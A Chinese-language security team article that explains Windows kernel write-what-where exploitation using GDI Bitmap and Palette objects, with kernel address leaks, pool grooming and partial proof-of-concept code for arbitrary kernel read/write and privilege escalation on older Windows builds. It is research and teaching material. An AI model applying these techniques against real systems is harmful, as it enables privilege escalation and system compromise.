乾貨丨windows核心www漏洞利用手法

Gcow安全團隊發表於2020-02-04

Windows Kernel Write What Where


前言:Gcow安全團隊複眼小組致力於對漏洞的挖掘和研究,並且對於二進位制和web漏洞方面都有所研究,有獨立挖掘漏洞和獨立復現漏洞的能力,本篇文章由Gcow安全團隊複眼小組晏子霜師傅所寫!


0x00 BITMAP(點陣圖) 簡介

HBITMAP CreateBitmap(int nWidth,int nHeight,UINT nPlanes,UINT nBitCount,const VOID *lpBits);

(nBitCount是一個畫素佔用的位,如果nBitCount為32,則一個畫素為4位 也就是乘4)

Windows7 (X64)

建立堆塊大小 0x0240 + nWidth * nHeight * nBitCount

(1503)

建立堆塊大小 0x0260 + nWidth * nHeight * nBitCount

(1703)

建立堆塊大小 0x0270 + nWidth * nHeight * nBitCount

SURFOBJ.cjBits = nWidth * nHeight * nBitCount

修改SURFOBJ.sizlBitmap結構中的cx和cy,都可以達到類似陣列越界漏洞的效果,SURFOBJ.cjBits的大小為pixel data的大小,但如果修改了SURFOBJ.sizlBitmap結構,SURFOBJ.cjBits大小並不進行安全校驗.

所以,核心中哪怕1位元組的(任意地址修改任意值),(任意地址寫固定值,隨機值)只要寫入的內容不是0,也可以利用該漏洞去修改下一個SURFACE結構的SURFOBJ中的PvScan0,來進行任意地址讀寫.

如果建立BitMap時 lpBits不指定 則會額外建立池塊處理PvScan0

typedef struct _SURFOBJ { DHSURF dhsurf; HSURF  hsurf;  DHPDEV dhpdev; HDEV   hdev;  SIZEL  sizlBitmap; ULONG  cjBits; PVOID  pvBits; PVOID  pvScan0;  LONG   lDelta;  ULONG  iUniq;  ULONG  iBitmapFormat; USHORT iType; USHORT fjBitmap; }  SURFOBJ, *PSURFOBJ;


 

釋放

BOOL DeleteObject(HGDIOBJ hObject);

該函式刪除一個邏輯筆,畫筆,字型,點陣圖,區域或者調色盤,釋放所有與該物件有關的系統資源,在物件被刪除之後,指定的控制程式碼也就失效了


獲取BitMap地址

Windows10 v1511

使用CreateBitmap建立一個點陣圖,儲存返回的控制程式碼,bitmap控制程式碼的最後兩個位元組是該結構在GdiSharedHandleTable陣列中的索引(=>handle & 0xffff).

從PEB偏移0xf8(X64)處獲取指向GdiSharedHandleTable的指標,該指標指向_GDI_CELL結構的陣列

透過控制程式碼的後16位來尋找索引的偏移,每個_GDI_CELL結構大小為0x18(X64),0x10(X86)

GdiSharedHandleTable + (BitMap_Handle & 0xFFFF)*0x18 可以獲取SURFACE結構在核心記憶體中的位置.

透過計算偏移即可獲取PvScan0所在的記憶體地址,即可利用核心WWW漏洞進行利用


Windows10 v1607 Rs1

使用LocalAlloc分配一塊記憶體,大小為 0x06 * 0x300

使用CreateAcceleratorTable 生成一個有0x300表項的加速器表,此時分配的是一個0x1200大小的記憶體池塊,SessionPool.

gSharedInfo結構中的aheList結構中儲存了一個pKernel指標,該指標指向這個控制程式碼的核心地址.

aheList為指向PUSER_HANDLE_ENTRY結構陣列的指標

透過加速器控制程式碼(HACCEL)的低16位(PUSER_HANDLE_ENTRY結構陣列偏移),可以獲取到加速器核心地址.

由於加速器使用的也是SessionPool 所以釋放該加速器後,重新申請同樣大小的SessionPool則可以使用釋放的記憶體

CreateBitmap(0x0FA0, 0x01, 0x01, 0x08, Data);

透過UAF的方法獲取SURFACE結構的基址.


Windows10 v1703 Rs2

(BitMap的SurFace結構 在v1703上比v1503增大了10)

建立堆塊大小 0x0270 + nWidth * nHeight * nBitCount

首先建立一個視窗(RegisterClass+CreateWindowEx)

如何獲取lpszMenuName的核心地址呢

首先獲取 UlClientDelta 這是使用者桌面堆和核心桌面堆的一個偏移,使用核心桌面堆的地址 減去 UlClientDelta 就是使用者桌面堆的地址了.

UlClientDelta = poi(poi(TEB + 0x828)+0x28) - poi(TEB + 0x828)

(方法很多種不唯一 並不一定要使用HMValidateHandle函式 直接搜尋使用者態對映的桌面堆也可以)

其次 透過 IsMenu 函式獲取到 HMValidateHandle 函式的地址 接著將建立的視窗控制程式碼丟進去 就可以返回TagWND結構在使用者桌面堆中的地址了().

TagCls = TagWND + 0xa8

Address(lpszMenuName) = *((TagCls + 0x90) - UlClientDelta)

為什麼要減去 UlClientDelta 呢,因為核心地址我們沒辦法讀取 只能透過使用者模式的對映獲取到lpszMenuName,也就是釋放之後SurFace結構的地址

這時釋放視窗

因為是BigPool 低熵大記憶體池.所以這裡我們同樣生成一個0x1210的SurFace結構

CreateBitmap(0xFA0, 0x01, 0x01, 0x08, Data);

這時我們就已經佔坑了,可以在Windbg中看到我們的SurFace結構使用了lpszMenuName所佔用的SessionPool.


利用 BITMAP 進行任意地址寫

建立兩個(多個)Bitmap,獲取到其中一個SURFACE結構的地址,透過偏移尋找到SURFOBJ結構中的PvScan0,將PvScan0的內容修改為另外一個Bitmap的PvScan0地址.

使用 SetBitmapBits(HBITS_B[M_UAF_ID](PvScan0被修改成另外一個塊的結構), 0x08, Where_TO_DO(想要讀或寫的記憶體地址的指標));

使用 GetBitmapBits(HBITS_B[W_UAF_ID](另外一個塊), 0x08, &EPROCESS);來讀取8位元組到EPROCESS指向的記憶體中

使用 SetBitmapBits(HBITS_B[W_UAF_ID](另外一個塊), 0x08, Where_TO_DO(想要寫入內容的指標));來向設定的地址寫入8位元組


1位元組任意地址讀寫 利用BitMap提權

實驗環境:

Windows7 X64專業版

首先分配0x500個0x1000位元組的 Pool

這一步的目的是記憶體縮緊,縮緊到沒有多餘的0x1000位元組大小的空閒核心池(其實可能還是有=_=,不過問題不大),來干擾Large Pool的分割

for (i = 0; i < 0x500; ++i){CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data1);}

然後分配0x2000位元組大小的 Large Pool

Windows7 (X64) 建立池塊大小 0x0240 + nWidth * nHeight * nBitCount,

所以 此處使用 BigPool = CreateBitmap(0x1DC0, 0x01, 0x01, 0x08, Data);

接著釋放這個Pool

DeleteObject(BigPool);

此時,佔用了0x2000位元組的大塊是被釋放的

立刻申請兩個0x1000位元組的塊

F_Pool = CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data1);

S_Pool = CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data2);

透過洩露BitMap地址,可以發現我們已經佔用了釋放的Large Pool

SURFOBJ64 結構偏移0x20 處為 sizlBitMap 結構,該結構如下

typedef strucy tagSIZE{  LONG cx;  LONG cy;}SIZE,*PSIZE;

我們只需要覆蓋其中一個結構 即可進行越界讀寫記憶體(OOB);

F_POOL->sizlBitMap = 00000001`00000dc0;

此處,我們透過WWW漏洞將 F_POOL->sizlBitMap.cy 修改成0x02

這樣我們的讀寫範圍就變成 0xdc0 * 2 = 0x1B80

即可透過 F_Pool 任意讀寫 S_POOL 的內容

接下來修改S_POOL的PvScan0指標,即可任意地址讀寫

typedef struct _PALETTE { BASEOBJECT      BaseObject; FLONG           flPal;  ULONG           cEntries; ULONG           ulTime;  HDC             hdcHead;  ULONG        hSelected;  ULONG           cRefhpal;  ULONG          cRefRegular;  ULONG      ptransFore;  ULONG      ptransCurrent;  ULONG      ptransOld;  ULONG           unk_038;  ULONG64         pfnGetNearest;  ULONG   pfnGetMatch;  ULONG           ulRGBTime;  ULONG       pRGBXlate;  PALETTEENTRY    *pFirstColor;  struct _PALETTE *ppalThis;  PALETTEENTRY    apalColors[1];  }



0x01 Palette(調色盤) 簡介

HPALETTE CreatePalette(const LOGPALETTE *plpal);

建立調色盤,只有一個引數為指向LOGPALETTE結構的指標

X86 下 size(PALETTE) 為 0x58 位元組大小

X64 下 size(PALETTE) 為 0x98 位元組大小

typedef struct tagLOGPALETTE {    WORD        palVersion;    WORD        palNumEntries;    _Field_size_opt_(palNumEntries) PALETTEENTRY        palPalEntry[1];} LOGPALETTE, *PLOGPALETTE, NEAR *NPLOGPALETTE, FAR *LPLOGPALETTE;

palVersion 設定為 0x0300 即可

palNumEntries 為 palPalEntry 的個數,每個 PALETTEENTRY 結構為 0x04位元組大小(包括X64)

CreatePalette(PPlette);

函式會建立一個 (Sizeof(PALETTE) + palNumEntries * 4) 大小的 Kernel Pool 來儲存PALETTE結構

PALETTE 結構 末尾的 apalColors 結構 為 PALETTEENTRY結構的陣列 預設為 8 位元組大小(預設項數為0x02),Kernel Pool 儲存 PALETTE 結構時,會根據 palNumEntries 來設定 apalColors 陣列的項數

PALETTE 結構中的變數 cEntries 為 LOGPALETTE 結構中的 palNumEntries,來代表當前 apalColors陣列有多少項

修改 PALETTE.cEntries 則可以進行 越界讀寫(OOB)

PALETTE.pFirstColor 為指向 PALETTE.apalColors 地址的指標

修改 PALETTE.pFirstColor 則可以進行 任意地址讀寫(WWW)


釋放 Palette

DeleteObject(HPalette);


獲取 Palette 地址

建立視窗時透過設定視窗類選單名稱,可以分配任意大小的Kernel Session Pool,可以利用這一點來預測Palette結構的地址

wndclass.lpszMenuName = (LPCWSTR)LpszMNames;

(為了避免有相同大小的空閒 Session Pool,先申請 N個 同大小的Palette結構,來佔用記憶體會提高成功機率)

首先算好Palette結構需要佔坑的大小,接著建立視窗,使用 HMValidateHandle 函式(BITMAP一節中有介紹)獲取tagCls.lpszMenuName 指向的地址,此處為佔坑地址,釋放視窗,釋放視窗類,建立Palette結構即可

tagCls地址獲取方法

TagWnd = HMValidateHandle(HWND,1);

返回值為 tagWnd桌面堆在使用者態對映的地址

TagWnd.head.pSelf 為 pSelf ,是TagWnd結構在核心池中的地址

Kenrl_Pool_OffSet = TagWnd.head.pSelf - TagWnd 可以算出 使用者態對映的桌面堆 和核心態桌面堆的偏移

TagWnd.pcls 為當前視窗類的地址,也就是tagCls結構的核心地址

TagWnd.pcls - Kenrl_Pool_OffSet = TagCls 即可獲取到使用者態對映下TagCls結構的地址

TagCls.lpszMenuName 為 分配的視窗選單名稱,分配在Session Pool裡

獲取到 TagCls.lpszMenuName 的地址後,釋放視窗,以及視窗類,建立PALETTE即可複用

乾貨丨windows核心www漏洞利用手法


以下為Poc中部分程式碼

  HINSTANCE hInstance;HWND hwnd, pwd;     WNDCLASS wndclass = { 0 };memset(LpszMNames, 'F', 0x1000-0x08);hInstance = GetModuleHandleA(0);wndclass.style = CS_HREDRAW | CS_VREDRAW;wndclass.lpfnWndProc = DefWindowProc;wndclass.hInstance = hInstance;wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);wndclass.lpszMenuName = (LPCWSTR)LpszMNames;wndclass.lpszClassName = TEXT("case");if (!RegisterClass(&wndclass)){printf("Register Window Class Error!\n");return 1;}  hwnd = CreateWindowEx(0, wndclass.lpszClassName, TEXT("WORDS"), 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);printf("hwnd:%p\n", hwnd);pwd = (HWND)HMValidateHandle(hwnd, 1);ULONG ulClientDelta = *(ULONG*)((ULONG)pwd + 0x10) - (ULONG)pwd;ULONG TagCls = *(ULONG*)((ULONG)pwd + 0x64) - ulClientDelta;PALETTE_Address = *(ULONG*)((ULONG)TagCls + 0x50);//__asm int 3printf("TagCls:0x%p\n", TagCls);printf("TagWnd:0x%p\n", pwd);printf("PALETTE_Address:0x%p\n", PALETTE_Address);DestroyWindow(hwnd);  //記憶體縮緊  while (I <= 0x500){      CreatePalette(Palette);    ++I;  }  //釋放視窗類  UnregisterClass(TEXT("case"), GetModuleHandleA(0));  //地址洩露!  HPAL = CreatePalette(Palette);


利用 Palette 進行任意地址讀寫

透過修改 PALETTE.pFirstColor 的指標後,則可使用

SetPaletteEntries(HPALETTE Hpal,UINT iStartIndex,UINT nEntries,LPPALETTEENTRY lppe);

函式進行任意地址寫

SetPaletteEntries(HPALETTE,0,0x05,Entries)

引數 1 Hpal 為 CreatePalette 函式返回的調色盤控制程式碼

引數 2 iStartIndex 為 從 apalColors 陣列中第幾項開始寫

引數 3 nEntries 為 到 apalColors 陣列中第幾項結束

引數 4 lppe 為 PALETTEENTRY 結構陣列的指標,每項4位元組,透過設定此引數來寫入任意值

建立兩個 PALETTE 結構,覆寫 PALETTE.pFirstColor 指標後,可參考BITMAP的利用方法 獲取無限制的 ARW Primitiver

使用

GetPaletteEntries(HPALETTE Hpal,UINT iStartIndex,UINT nEntries,LPPALETTEENTRY lppe);

函式進行任意地址讀

GetPaletteEntries(HPALETTE,0,0x05,Entries)

引數 1 Hpal 為 CreatePalette 函式返回的調色盤控制程式碼

引數 2 iStartIndex 為 從 apalColors 陣列中第幾項開始讀

引數 3 nEntries 為 到 apalColors 陣列中第幾項結束

引數 4 lppe 為 PALETTEENTRY 結構陣列的指標,每項4位元組,透過設定此引數來讀取任意值


Find Palette Pool

從Windbg中搜尋建立的調色盤 PALETTE結構

!poolfind Gl?8 -session

關注公眾號

乾貨丨windows核心www漏洞利用手法

後臺回覆:Gcow

獲取poc下載地址

相關文章